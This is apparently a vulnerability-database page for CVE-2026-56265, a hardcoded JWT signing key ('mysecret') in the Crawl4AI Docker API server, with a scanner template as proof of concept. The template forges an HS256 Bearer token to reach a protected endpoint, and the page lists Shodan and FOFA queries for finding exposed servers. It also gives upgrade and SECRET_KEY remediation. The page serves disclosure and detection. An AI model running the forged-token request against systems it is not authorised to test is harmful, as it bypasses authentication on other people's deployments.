CVE-2026-56265: Crawl4AI < 0.8.7 - Hardcoded JWT Signing Key Authentication Bypass

2026-08-19 Crawl4AI PoC Public

Description

Crawl4AI Docker API server versions before 0.8.7 ship with a hardcoded default JWT signing key ("mysecret") used to sign and verify HS256 authentication tokens. Because the key is identical across every deployment where SECRET_KEY has not been overridden, an unauthenticated attacker can forge a valid Bearer token and use it to access every JWT-protected API endpoint (/md, /html, /screenshot, /pdf, /execute_js, /crawl, /ask).

PoC

id: CVE-2026-56265

info:
  name: Crawl4AI < 0.8.7 - Hardcoded JWT Signing Key Authentication Bypass
  author: prithvee07
  severity: critical
  description: |
    Crawl4AI Docker API server versions before 0.8.7 ship with a hardcoded default JWT signing key ("mysecret") used to sign and verify HS256 authentication tokens. Because the key is identical across every deployment where SECRET_KEY has not been overridden, an unauthenticated attacker can forge a valid Bearer token and use it to access every JWT-protected API endpoint (/md, /html, /screenshot, /pdf, /execute_js, /crawl, /ask).
  impact: |
    Unauthenticated attackers can forge valid JWT authentication tokens and gain full access to protected Crawl4AI API endpoints (crawling, screenshot, PDF generation, JavaScript execution, and library context retrieval), resulting in complete compromise of the deployment's intended access control.
  remediation: |
    Upgrade Crawl4AI to version 0.8.7 or later, which removes the hardcoded default signing key, rejects known weak secrets, and auto-generates an ephemeral key when JWT authentication is enabled without an explicit SECRET_KEY. As a workaround, set the SECRET_KEY environment variable to a strong random value.
  reference:
    - https://github.com/unclecode/crawl4ai/security/advisories/GHSA-365w-hqf6-vxfg
    - https://www.vulncheck.com/advisories/crawl4ai-authentication-bypass-via-hardcoded-jwt-signing-key
    - https://github.com/unclecode/crawl4ai
    - https://nvd.nist.gov/vuln/detail/CVE-2026-56265
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-56265
    epss-score: 0.02639
    epss-percentile: 0.84801
    cwe-id: CWE-798
  metadata:
    verified: true
    max-request: 2
    vendor: unclecode
    product: crawl4ai
    shodan-query: http.html:"crawl4ai"
    fofa-query: body="crawl4ai"
  tags: cve,cve2026,crawl4ai,auth-bypass,jwt,hardcoded-credentials,unauth

variables:
  exp: "{{unix_time(3600)}}"
  secret: "mysecret"
  payload: '{"scope":"data","exp":{{exp}}}'

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /ask?context_type=code&query=crawl&max_results=1 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 401'
          - 'contains(body, "Authentication required") || contains(body, "No token provided") || contains(body, "Not authenticated")'
        condition: and
        internal: true

  - raw:
      - |
        GET /ask?context_type=code&query=crawl&max_results=1 HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{generate_jwt(payload,"HS256",secret)}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "code_results")'
          - '!contains(body, "Invalid or expired token")'
        condition: and

    extractors:
      - type: dsl
        dsl:
          - 'to_string(generate_jwt(payload,"HS256",secret))'
# digest: 4b0a00483046022100d970c85abe44db454d667f95b8a855fb4cc1fd087f5acf06578139fa51750e28022100fa68014004376423b8efacf81cddcf7a5b9a6ab7b7e3354f329c697173654a64:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

Related Vulnerabilities